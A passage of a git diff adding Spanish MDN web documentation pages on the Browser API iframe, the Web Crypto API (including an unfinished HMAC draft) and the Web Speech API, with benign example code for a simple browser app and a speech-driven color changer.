+ <li>{{domxref("HTMLIFrameElement.addNextPaintListener","addNextPaintListener()")}}: Allows defining a handler to listen for the next {{event("MozAfterPaint")}} event in the browser {{HTMLElement("iframe")}}.</li>
+ <li>{{domxref("HTMLIFrameElement.removeNextPaintListener","removeNextPaintListener()")}}: Allows removing a handler previously set with {{domxref("HTMLIFrameElement.addNextPaintListener","addNextPaintListener()")}}.</li>
+</ul>
+<h3 id="Miscellaneous_methods">Miscellaneous methods</h3>
+<p>Those methods are utilities, useful for apps that host a browser {{HTMLElement("iframe")}}.</p>
+<ul>
+ <li>{{domxref("HTMLIFrameElement.getScreenshot","getScreenshot()")}}: Allows taking a screenshot of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful to get thumbnails of tabs in a tabbed browser app.</li>
+ <li>{{domxref("HTMLIFrameElement.zoom","zoom()")}}: Change the zoom factor of the browser {{HTMLElement("iframe")}}'s content. This is particularly useful to perform zoom in/out on non-touch-enabled devices.</li>
+</ul>
+<h2 id="Events">Events</h2>
+<p>In order to allow an application to manage the browser {{HTMLElement("iframe")}}, the application can listen for new events about what's happening within the browser {{HTMLElement("iframe")}}. The following new events can be listened for:</p>
+<ul>
+ <li>{{event("mozbrowserasyncscroll")}}: Sent when the scroll position within a browser {{HTMLElement("iframe")}} changes.</li>
+ <li>{{event("mozbrowserclose")}}: Sent when {{domxref("window.close()")}} is called within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowsercontextmenu")}}: Sent when a browser {{HTMLElement("iframe")}} tries to open a context menu. This allows  handling {{HTMLElement("menuitem")}} element available within the browser {{HTMLElement("iframe")}}'s content.</li>
+ <li>{{event("mozbrowsererror")}}: Sent when an error occurred while trying to load content within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowsericonchange")}}: Sent when the favicon of a browser {{HTMLElement("iframe")}} changes.</li>
+ <li>{{event("mozbrowserloadend")}}: Sent when the browser {{HTMLElement("iframe")}} has finished loading all its assets.</li>
+ <li>{{event("mozbrowserloadstart")}}: Sent when the browser {{HTMLElement("iframe")}} starts to load a new page.</li>
+ <li>{{event("mozbrowserlocationchange")}}: Sent when a browser {{HTMLElement("iframe")}}'s location changes.</li>
+ <li>{{event("mozbrowseropenwindow")}}: Sent when {{domxref("window.open()")}} is called within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowsersecuritychange")}}: Sent when the SSL state changes within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowsershowmodalprompt")}}: Sent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}}, or {{domxref("window.prompt","prompt()")}} is called within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowsertitlechange")}}: Sent when the document.title changes within a browser {{HTMLElement("iframe")}}.</li>
+ <li>{{event("mozbrowserusernameandpasswordrequired")}}: Sent when an HTTP authentification is requested.</li>
+ <li>{{event("mozbrowseropensearch")}}: Sent when a link to a search engine is found.</li>
+</ul>
+<h2 id="Example">Example</h2>
+<p>In this example we'll see how to implement a very basic browser app.</p>
+<h3 id="HTML">HTML</h3>
+<p>In the HTML we just add a URL bar, a "Go" and "Stop" button, and a browser {{HTMLElement("iframe")}}.</p>
+<pre class="brush: html">&lt;header&gt;
+  &lt;input id="url"&gt;
+  &lt;button id="go"&gt;Go&lt;/button&gt;
+  &lt;button id="stop"&gt;Stop&lt;/button&gt;
+&lt;/header&gt;
+
+&lt;iframe src="about:blank" mozbrowser remote&gt;&lt;/iframe&gt;
+</pre>
+<h3 id="CSS">CSS</h3>
+<p>We switch between the go and stop button with a little css trick.</p>
+<pre class="brush: css">button:disabled {
+  display: none;
+}</pre>
+<h3 id="JavaScript">JavaScript</h3>
+<p>Now we can add the required functionalities:</p>
+<pre class="brush: js">document.addEventListener("DOMContentLoaded", function () {
+  var url  = document.getElementById("url");
+  var go   = document.getElementById("go");
+  var stop = document.getElementById("stop");
+
+  var browser = document.getElementsByTagName("iframe")[0];
+
+  // This function is used to switch the Go and Stop button
+  // If the browser is loading content, "Go" is disabled and "Stop" is enabled
+  // Otherwise, "Go" is enabled and "Stop" is disabled
+  function uiLoading(isLoading) {
+      go.disabled =  isLoading;
+    stop.disabled = !isLoading;
+  }
+
+  go.addEventListener("touchend", function () {
+    browser.setAttribute("src", url.value);
+  });
+
+  stop.addEventListener("touchend", function () {
+    browser.stop();
+  });
+
+  // When the browser starts loading content, we switch the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowserloadstart', function () {
+    uiLoading(true);
+  });
+
+  // When the browser finishes loading content, we switch back the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowserloadend', function () {
+    uiLoading(false);
+  });
+
+  // In case of error, we also switch back the "Go" and "Stop" buttons
+  browser.addEventListener('mozbrowsererror', function (event) {
+    uiLoading(false);
+    alert("Loading error: " + event.detail);
+  });
+
+  // When a user follows a link, we make sure the new location is displayed in the address bar
+  browser.addEventListener('mozbrowserlocationchange', function (event) {
+    url.value = event.detail;
+  });
+});</pre>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>{{domxref("HTMLIFrameElement")}}</li>
+ <li>Stat of <a href="https://wiki.mozilla.org/WebAPI/BrowserAPI" title="https://wiki.mozilla.org/WebAPI/BrowserAPI">implementation on WikiMo</a></li>
+</ul>
diff --git a/files/es/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/es/web/api/web_crypto_api/checking_authenticity_with_password/index.html
new file mode 100644
index 0000000000..f2e2ef65fd
--- /dev/null
+++ b/files/es/web/api/web_crypto_api/checking_authenticity_with_password/index.html
@@ -0,0 +1,30 @@
+---
+title: Verificando la autenticidad usando contraseña
+slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+translation_of: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+---
+<p>{{APIRef("Web Crypto API")}}{{draft}}</p>
+
+<p>La autenticidad del mensaje puede ser verificada usando el API Crypto Web. En este artículo mostrarémos como crear y controlar una firma digital utilizando una contraseña y una función hash.</p>
+
+<p>Un algoritmo HMAC toma una llave y genera un código digerido de la llave y los datos a firmar. Posteriormente, cualquiera con la llave puede volver a generar el mismo código digerido para verificar si los datos han sido alterados.  Además, mediante el conocimiento de una clave secreta, permite almacenar juntos el código digerido y los datos: un atacante no podrá generar un código digerido sobre datos manipulados si no conoce la clave secreta.</p>
+
+<p>Note that this algorithm doesn't carry any information about the person owning the data, nor its unicity: the mere knowledge of the key is enough to alter the data.</p>
+
+<p>Let's assume that the data is stored on the computer. To access it, both for writing and reading, we will use <code>localforage.js</code> a small library wrapping the different storages capabilities of a browser in the same interface. This library is not an essential component of this use case and is used here for convenience, to keep focused on what really matter, the cryptographic part.</p>
+
+<p>The data we want to access is of the form:</p>
+
+<p> </p>
+
+<p>where <code>data</code><em> </em>is the information to guarantee the integrity and <code>signature</code> the information used to verify it.</p>
+
+<p>Cryptographic keys can't be remembered by heart by human, and passwords, or passphrases, make bad, that is unsecure, cryptographic key. To solve this problem, cryptographers have designed algorithms generating cryptographically-sound keys from password. Knowing the password allowed to regenerate the same key and to use it.</p>
+
+<p>We ask the user for a password, and we use it to generate the key:</p>
+
+<pre> </pre>
+
+<p>With that key, we will be able to compute the <em>mac</em> of the data.</p>
+
+<pre> </pre>
diff --git a/files/es/web/api/web_crypto_api/index.html b/files/es/web/api/web_crypto_api/index.html
new file mode 100644
index 0000000000..d8d0069fe4
--- /dev/null
+++ b/files/es/web/api/web_crypto_api/index.html
@@ -0,0 +1,85 @@
+---
+title: Web Crypto API
+slug: Web/API/Web_Crypto_API
+tags:
+  - Referencia
+  - Vista general
+  - Web Crypto API
+translation_of: Web/API/Web_Crypto_API
+---
+<p>{{DefaultAPISidebar("Web Crypto API")}}{{SeeCompatTable}}{{draft}}</p>
+
+<p>La <strong>Web Crypto API</strong>  es una interfaz que permite a un script usar primitivos criptográficos con el fin de construir sistemas utilizando criptografía.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Advertencia:</strong> Esta API proporciona una serie de primitivos criptográficos de bajo nivel. Es muy fácil hacer un mal uso de ellos, y las trampas involucradas pueden ser muy sutiles.</p>
+
+<p>Incluso suponiendo que se utilicen correctamente las funciones criptográficas básicas, la gestión segura de las claves y el diseño general del sistema de seguridad son extremadamente difíciles de conseguir correctamente, y generalmente son el dominio de expertos en seguridad especializados.</p>
+
+<p>Los errores en el diseño e implementación del sistema de seguridad pueden hacer que la seguridad del sistema sea completamente ineficaz.</p>
+
+<p><strong>Si no estás seguro de saber lo que estás haciendo, probablemente no deberías usar esta API.</strong></p>
+</div>
+
+<p>Una de las principales características de esta API es que permite la manipulación y almacenamiento de claves privadas y secretas sin la capa de bits de la clave para poder usarlo con Javascript.</p>
+
+<p>Esta interfaz permite el acceso a las siguientes primitivos:</p>
+
+<ul>
+ <li><strong><em>digest</em></strong>, la capacidad para calcular un hash de un bloque arbitrario de datos, con el fin de detectar cualquier cambio en él.</li>
+ <li><strong><em>mac</em></strong>, la capacidad de calcular un código de mensaje de autenticación.</li>
+ <li><strong><em>sign</em></strong> and <strong><em>verify</em></strong>, la capacidad de firmar digitalmente un documento, y de verificar una firma.</li>
+ <li><strong><em>encrypt</em></strong> and <strong><em>decrypt</em></strong>, la capacidad de codificar o descodificar un documento.</li>
+ <li><strong><em>import</em></strong> and <strong><em>export</em></strong>, la capacidad de importar o exportar una clave.</li>
+ <li><strong><em>key generation</em></strong>, la capacidad de crear una llave criptográfica segura o un par de llaves (llave pública y llave privada), sin el uso de una clave base, pero usando la entropía disponible en el sistema local.</li>
+ <li><strong><em>key wrapping</em></strong> and <strong><em>unwrapping</em></strong>, la capacidad de transmitir y recibir una llave de un tercero, codificada usando otra llave sin exponer dicha llave a JavaScript.</li>
+ <li><strong><em>random</em></strong>, la capacidad de generar criptográficamente números pseudo-aleatorios fuertes.</li>
+</ul>
+
+<p>La Web Crypto API no resuelve todos los problemas criptográficos a los que un sitio web o una aplicación puedan encontrarse:</p>
+
+<ul>
+ <li>No flexibiliza el modelo de <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin security model</a> del navegador, como los casos en que las claves son emitidas por entidades centralizadas utilizadas por varios sitios web.</li>
+ <li>No interactúa con hardware dedicado, tal y como smart cards, pendrives, o generadores aleatorios.</li>
+</ul>
+
+<div class="warning">
+<p><strong>¡Atención!</strong></p>
+
+<ul>
+ <li>El simple hecho de hacer uso de la criptografía no hace a tu sistema seguro. La Seguridad es un <strong>proceso</strong> que constamentemente evalua el riesgo de un sistema en el contexto de uso. The context and the risks experienced evolve over time.</li>
+ <li>Al aplicar seguridad, todo el <strong>sistema</strong> debe considerarse. En el caso de la  Web Crypto API, los desarrolladores Web no sólo deben considerar la seguridad del script, sino también la seguridad de la conexión al servidor y los datos que éste podría comunicar sin encriptar.  La seguridad en general será tan débil como la parte más débil de todo el sistema.</li>
+</ul>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Algunos navegadores implementan una interfaz llamada {{domxref("Crypto")}} sin tenerla bien definida o criptográficamente siendo llamada. Con el fin de evitar conclusiones, los métodos y propiedades de esta interfaz van a ir implementados en la Web Crypto API, y todos los métodos de la Web Crypto API están disponibles en una nueva interfaz: {{domxref("SubtleCrypto")}}.<br>
+ La propiedad {{domxref("Crypto.subtle")}} da acceso a un objeto para implementarla.</p>
+
+<h2 id="Casos_de_uso">Casos de uso</h2>
+
+<p>La Web Crypto API puede ser usada para:</p>
+
+<ul>
+ <li>Verificar que los datos no han sido alterados por terceros. Incluso si los datos se almacenan de forma clara, el almacenamiento de una firma, generada a partir de una contraseña, permite a las personas que conocen la contraseña saber que es auténtica.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Crypto API")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/api/web_speech_api/index.html b/files/es/web/api/web_speech_api/index.html
new file mode 100644
index 0000000000..0a8de49da3
--- /dev/null
+++ b/files/es/web/api/web_speech_api/index.html
@@ -0,0 +1,121 @@
+---
+title: Web Speech API
+slug: Web/API/Web_Speech_API
+tags:
+  - API
+  - Experimental
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Speech API
+  - recognition
+  - speech
+  - synthesis
+translation_of: Web/API/Web_Speech_API
+---
+<div>{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}</div>
+
+<div class="summary">
+<p>The Web Speech API enables you to incorporate voice data into web apps. The Web Speech API has two parts: SpeechSynthesis (Text-to-Speech), and SpeechRecognition (Asynchronous Speech Recognition.)</p>
+</div>
+
+<h2 id="Web_Speech_Concepts_and_Usage">Web Speech Concepts and Usage</h2>
+
+<p>The Web Speech API makes web apps able to handle voice data. There are two components to this API:</p>
+
+<ul>
+ <li>Speech recognition is accessed via the {{domxref("SpeechRecognition")}} interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately. Generally you'll use the interface's constructor to create a new {{domxref("SpeechRecognition")}} object, which has a number of event handlers available for detecting when speech is input through the device's microphone. The {{domxref("SpeechGrammar")}} interface represents a container for a particular set of grammar that your app should recognise. Grammar is defined using <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li>
+ <li>Speech synthesis is accessed via the {{domxref("SpeechSynthesis")}} interface, a text-to-speech component that allows programs to read out their text content (normally via the device's default speech synthesiser.) Different voice types are represented by {{domxref("SpeechSynthesisVoice")}} objects, and different parts of text that you want to be spoken are represented by {{domxref("SpeechSynthesisUtterance")}} objects. You can get these spoken by passing them to the {{domxref("SpeechSynthesis.speak()")}} method.</li>
+</ul>
+
+<p>For more details on using these features, see <a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a>.</p>
+
+<h2 id="Web_Speech_API_Interfaces">Web Speech API Interfaces</h2>
+
+<h3 id="Speech_recognition">Speech recognition</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition")}}</dt>
+ <dd>The controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.</dd>
+ <dt>{{domxref("SpeechRecognitionAlternative")}}</dt>
+ <dd>Represents a single word that has been recognised by the speech recognition service.</dd>
+ <dt>{{domxref("SpeechRecognitionError")}}</dt>
+ <dd>Represents error messages from the recognition service.</dd>
+ <dt>{{domxref("SpeechRecognitionEvent")}}</dt>
+ <dd>The event object for the {{event("result")}} and {{event("nomatch")}} events, and contains all the data associated with an interim or final speech recognition result.</dd>
+ <dt>{{domxref("SpeechGrammar")}}</dt>
+ <dd>The words or patterns of words that we want the recognition service to recognize.</dd>
+ <dt>{{domxref("SpeechGrammarList")}}</dt>
+ <dd>Represents a list of {{domxref("SpeechGrammar")}} objects.</dd>
+ <dt>{{domxref("SpeechRecognitionResult")}}</dt>
+ <dd>Represents a single recognition match, which may contain multiple {{domxref("SpeechRecognitionAlternative")}} objects.</dd>
+ <dt>{{domxref("SpeechRecognitionResultList")}}</dt>
+ <dd>Represents a list of {{domxref("SpeechRecognitionResult")}} objects, or a single one if results are being captured in {{domxref("SpeechRecognition.continuous","continuous")}} mode.</dd>
+</dl>
+
+<h3 id="Speech_synthesis">Speech synthesis</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesis")}}</dt>
+ <dd>The controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.</dd>
+ <dt>{{domxref("SpeechSynthesisErrorEvent")}}</dt>
+ <dd>Contains information about any errors that occur while processing {{domxref("SpeechSynthesisUtterance")}} objects in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisEvent")}}</dt>
+ <dd>Contains information about the current state of {{domxref("SpeechSynthesisUtterance")}} objects that have been processed in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance")}}</dt>
+ <dd>Represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisVoice")}}</dt>
+ <dd>Represents a voice that the system supports. Every <code>SpeechSynthesisVoice</code> has its own relative speech service including information about language, name and URI.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}}</dt>
+ <dd>Specced out as part of a <code>[NoInterfaceObject]</code> interface called <code>SpeechSynthesisGetter</code>, and Implemented by the <code>Window</code> object, the <code>speechSynthesis</code> property provides access to the {{domxref("SpeechSynthesis")}} controller, and therefore the entry point to speech synthesis functionality.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The <a href="https://github.com/mdn/web-speech-api/">Web Speech API repo</a> on GitHub contains demos to illustrate speech recognition and synthesis.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="SpeechRecognition"><code>SpeechRecognition</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.SpeechRecognition", 0)}}</p>
+
+<h3 id="SpeechSynthesis"><code>SpeechSynthesis</code></h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.SpeechSynthesis", 0)}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a></li>
+ <li><a href="http://www.sitepoint.com/talking-web-pages-and-the-speech-synthesis-api/">SitePoint article</a></li>
+ <li><a href="http://updates.html5rocks.com/2014/01/Web-apps-that-talk---Introduction-to-the-Speech-Synthesis-API">HTML5Rocks article</a></li>
+ <li><a href="http://aurelio.audero.it/demo/speech-synthesis-api-demo.html">Demo</a> [aurelio.audero.it]</li>
+</ul>
+</div>
diff --git a/files/es/web/api/web_speech_api/uso_de_la_web_speech_api/index.html b/files/es/web/api/web_speech_api/uso_de_la_web_speech_api/index.html
new file mode 100644
index 0000000000..407de0e10d
--- /dev/null
+++ b/files/es/web/api/web_speech_api/uso_de_la_web_speech_api/index.html
@@ -0,0 +1,301 @@
+---
+title: Uso de la Web Speech API
+slug: Web/API/Web_Speech_API/Uso_de_la_Web_Speech_API
+translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+---
+<p class="summary">La API Web Speech API proporciona dos funcionalidades distintas — reconocimiento de voz, y síntesis de voz (también conocido como texto a voz o tts) — lo que nos ofrece nuevas e interesantes posibilidades para accesibilidad y otros mecanismos. Este artículo ofrece una breve introducción en las dos áreas, así como unas demos.</p>
+
+<h2 id="Reconocimiento_de_voz">Reconocimiento de voz</h2>
+
+<p>El reconocimiento de voz implica recibir voz a través del micrófono de un dispositivo, luego es verificado por un servicio de reconocimiento de voz contra una lista de palabras o frases 'grammar' (esta lista básicamente es el vocabulario a reconocer en una app particular). Cuando se reconoce con éxito una palabra o frase, esta se devuelve como una cadena de texto y así poder iniciar otras acciones.</p>
+
+<p>La API Web Speech tiene una interfaz principal de control para el - {{domxref ("SpeechRecognition")}} -, además de una serie de interfaces estrechamente relacionadas para representar la gramática, los resultados, etc. Normalmente, el sistema de reconocimiento de voz predeterminado que dispone el dispositivo se utilizará para el reconocimiento de voz: la mayoría de los sistemas operativos modernos tienen un sistema de reconocimiento de voz para emitir comandos de voz. Piense en Dictado en macOS, Siri en iOS, Cortana en Windows 10, Android Speech, etc.</p>
+
+<div class="note">
+<p><strong>Note</strong>: En algunos navegadores como Chrome, el uso del reconocimiento de voz implica el uso de un motor de reconocimiento basado en un servidor. Tu audio se envía a un servicio de reconocimiento web para ser procesado, por lo que no funcionará offline.</p>
+</div>
+
+<h3 id="Demo">Demo</h3>
+
+<p>Para mostrar un uso sencillo del reconocimiento de voz Web, hemos escrito una demo llamada <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a>. Cuando se toca o hace click en la pantalla, se puede decir un color HTML, y el color de fondo de la aplicación cambiará a ese color.</p>
+
+<p><img alt="The UI of an app titled Speech Color changer. It invites the user to tap the screen and say a color, and then it turns the background of the app that colour. In this case it has turned the background red." src="https://mdn.mozillademos.org/files/11975/speech-color-changer.png" style="border: 1px solid black; display: block; height: 533px; margin: 0px auto; width: 300px;"></p>
+
+<p>Para ejecutar la demo, se puede clonar (o <a href="https://github.com/mdn/web-speech-api/archive/master.zip">directamente descargar</a>) el repositorio Github donde se encuentra, abrir el fichero index HTML en un navegador de escritorio compatible, o navegar a través del enlace <a href="https://mdn.github.io/web-speech-api/speech-color-changer/">live demo URL</a> en un navegador de móvil compatible como Chrome.</p>
+
+<h3 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<p>Actualmente, la compatibilidad de la Web Speech API para el reconocimiento de voz se limita a Chrome para escritorio y Android — Chrome tiene soporte desde la versión 33 pero con interfaces 'prefixed', por lo que se deben incluir ese tipo de interfaces 'prefixed', por ejemplo <code>webkitSpeechRecognition</code>.</p>
+
+<h3 id="HTML_y_CSS">HTML y CSS</h3>
+
+<p>El HTML y el CSS para esta app no son importantes. Solo tenemos un título, instrucciones en un párrafo, y un div dentro del cual visualizaremos los mensajes de diagnósticos.</p>
+
+<pre class="brush: html">&lt;h1&gt;Speech color changer&lt;/h1&gt;
+&lt;p&gt;Tap/click then say a color to change the background color of the app.&lt;/p&gt;
+&lt;div&gt;
+  &lt;p class="output"&gt;&lt;em&gt;...diagnostic messages&lt;/em&gt;&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>El CSS proporciona un estilo responsive muy simple para que se visualice bien en todos los dispositivos.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Miremos el JavaScript con un poco más de detalle.</p>
+
+<h4 id="Compatibilidad_con_Chrome">Compatibilidad con Chrome </h4>
+
+<p>Como se ha mencionado anteriormente, Chrome actualmente admite el reconocimiento de voz con propiedades 'prefixed', por lo tanto, al principio de nuestro código incluiremos las siguientes líneas para usar los objetos que correspondan a Chrome, y así cualquier implementación en el futuro pueda admitir estas características sin ningún 'prefixed':</p>
+
+<pre class="brush: js">var SpeechRecognition = SpeechRecognition || webkitSpeechRecognition
+var SpeechGrammarList = SpeechGrammarList || webkitSpeechGrammarList
+var SpeechRecognitionEvent = SpeechRecognitionEvent || webkitSpeechRecognitionEvent</pre>
+
+<h4 id="La_gramática_-grammar-">La gramática -grammar-</h4>
+
+<p>Las siguientes líneas de código definen la gramática que queremos que reconozca nuestra app. Se define una variable para contener nuestra gramática:</p>
+
+<pre class="brush: js">var colors = [ 'aqua' , 'azure' , 'beige', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ];
+var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colors.join(' | ') + ' ;'</pre>
+
+<p>El formato usado para 'grammar' es <a class="external external-icon" href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>) — Se puede encontrar más sobre las especificaciones de este formato en el anterior enlace. Sin embargo y por ahora vamos a echarle un vistazo rápidamente:</p>
+
+<ul>
+ <li>Las líneas se separan con punto y coma como en JavaScript.</li>
+ <li>La primera línea — <code>#JSGF V1.0;</code> — establece el formato y versión utilizados. Esto siempre se debe incluir primero.</li>
+ <li>La segunda línea indica el tipo de términos que queremos que se reconozcan. <code>public</code> declara que es una regla pública, la cadena entre los paréntesis angulares definen el nombre reconocido para éste término (<code>color</code>), y la lista de elementos que siguen al signo igual son los valores alternativos que se reconocerán y aceptaran como valores apropiados al término. Observar como cada elemento se separa con el carácter pipe ' | ' .</li>
+ <li>Se pueden definir tantos términos como se desee en líneas separadas siguiendo la estructura anterior, e incluir definiciones gramaticales complejas. Esta demostración básica la mantenemos lo más simple posible.</li>
+</ul>
+
+<h4 id="Conectando_la_gramática_a_nuestro_reconocimiento_de_voz">Conectando la gramática a nuestro reconocimiento de voz</h4>
+
+<p>Lo siguiente que tenemos que hacer es definir una instancia de reconocimiento de voz para el control en nuestra aplicación. Esto se hace usando el constructor {{domxref("SpeechRecognition.SpeechRecognition()", "SpeechRecognition()")}}. También creamos una lista de gramática de voz para contener nuestra gramática usando el constructor {{domxref("SpeechGrammarList.SpeechGrammarList()","SpeechGrammarList()")}}.</p>
+
+<pre class="brush: js">var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();</pre>
+
+<p>Añadimos nuestra  <code>grammar</code>  a la lista anterior usando el método {{domxref("SpeechGrammarList.addFromString()")}}. Este método acepta como parámetro la cadena que queremos añadir, así como opcionalmente, un valor que especifique la importancia de esta gramática en relación a otras gramáticas disponibles en la lista (el rango del valor va desde 0 hasta 1 inclusive). La gramática agregada está disponible en la lista como una instancia del objeto {{domxref("SpeechGrammar")}}.</p>
+
+<pre class="brush: js">speechRecognitionList.addFromString(grammar, 1);</pre>
+
+<p>Después añadimos la lista {{domxref("SpeechGrammarList")}} a la instancia del reconocimiento de voz estableciéndola en la propiedad {{domxref("SpeechRecognition.grammars")}}. También establecemos algunas otras propiedades a la instancia de reconocimiento antes de continuar:</p>
+
+<ul>
+ <li>{{domxref("SpeechRecognition.continuous")}}: Controla si se capturan los resultados de forma continua (<code>true</code>), o solo un resultado cada vez que se inicia el reconocimiento (<code>false</code>).</li>
+ <li>{{domxref("SpeechRecognition.lang")}}: Establece el idioma del reconocimiento. Esto es una buena práctica y, por lo tanto, recomendable.</li>
+ <li>{{domxref("SpeechRecognition.interimResults")}}: Define si el sistema de reconocimiento de voz debe devolver resultados provisionales o solo resultados finales. Para nuestra demo es suficiente con los resultados finales.</li>
+ <li>{{domxref("SpeechRecognition.maxAlternatives")}}:  Establece el número de posibles coincidencias alternativas que se deben devolver por resultado. Esto a veces puede ser útil, por ejemplo, si un resultado no está completamente claro y desea mostrar una lista de alternativas para que el usuario elija la correcta. Esta opción no es necesaria para la demo, por lo que solo especificamos una (la cual es la predeterminada).</li>
+</ul>
+
+<pre class="brush: js">recognition.grammars = speechRecognitionList;
+recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;</pre>
+
+<h4 id="Comenzando_el_reconocimiento_de_voz">Comenzando el reconocimiento de voz</h4>
+
+<p>Tomamos las referencias de la salida {{htmlelement("div")}} y del elemento HTML (para que podamos enviar mensajes de diagnostico y actualizar el color de fondo de la aplicación más adelante), e implementamos un manejador onclick para que cuando se haga click o se toque la pantalla, se inicie el reconocimiento de voz. Esto se logra llamando al método {{domxref("SpeechRecognition.start()")}}. El método <code>forEach()</code> se usa para visualizar indicadores de colores que muestran qué colores intenta decir.</p>
+
+<pre class="brush: js">var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+var hints = document.querySelector('.hints');
+
+var colorHTML= '';
+colors.forEach(function(v, i, a){
+  console.log(v, i);
+  colorHTML += '&lt;span style="background-color:' + v + ';"&gt; ' + v + ' &lt;/span&gt;';
+});
+hints.innerHTML = 'Tap/click then say a color to change the background color of the app. Try ' + colorHTML + '.';
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}</pre>
+
+<h4 id="Recepción_y_manejo_de_resultados">Recepción y manejo de resultados</h4>
+
+<p>Una vez que comienza el reconocimiento de voz, hay muchos manejadores de eventos que se pueden usar para recuperar los resultados, así como otros elementos de información adicional (ver <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition#Event_handlers"><code>SpeechRecognition</code> event handlers list</a>.) El más común que probablemente usarás es {{domxref("SpeechRecognition.onresult")}}, el cual es lanzado cuando se recibe el resultado con éxito:</p>
+
+<pre class="brush: js">recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+  console.log('Confidence: ' + event.results[0][0].confidence);
+}</pre>
+
+<p>La tercera línea es un poco más compleja, así que vamos a explicarla paso a paso. La propiedad {{domxref("SpeechRecognitionEvent.results")}} devuelve un objeto {{domxref("SpeechRecognitionResultList")}} que contiene los objetos {{domxref("SpeechRecognitionResult")}}. Tiene un getter para que pueda ser accesible como si fuera un array — así el primer <code>[0]</code> devuelve el <code>SpeechRecognitionResult</code> en la posición 0. Cada objeto <code>SpeechRecognitionResult</code> contiene objetos {{domxref("SpeechRecognitionAlternative")}} que contienen palabras individuales reconocidas. Estos también tienen getters para que se puedan acceder a ellos como arrays — por lo tanto el segundo <code>[0]</code> devuelve <code>SpeechRecognitionAlternative</code> en la posición 0. Luego devolvemos su propiedad <code>transcript</code> para obtener una cadena que contenga  el resultado individual reconocido como un string, estableciendo el color de fondo a ese color, e informando del color reconocido como un mensaje de diagnóstico en el IU.</p>
+
+<p>También usamos el manejador {{domxref("SpeechRecognition.onspeechend")}} para parar el servicio de reconocimiento de voz (usando {{domxref("SpeechRecognition.stop()")}}) cuando se ha reconocido una sola palabra y se ha finalizado de hablar:</p>
+
+<pre class="brush: js">recognition.onspeechend = function() {
+  recognition.stop();
+}</pre>
+
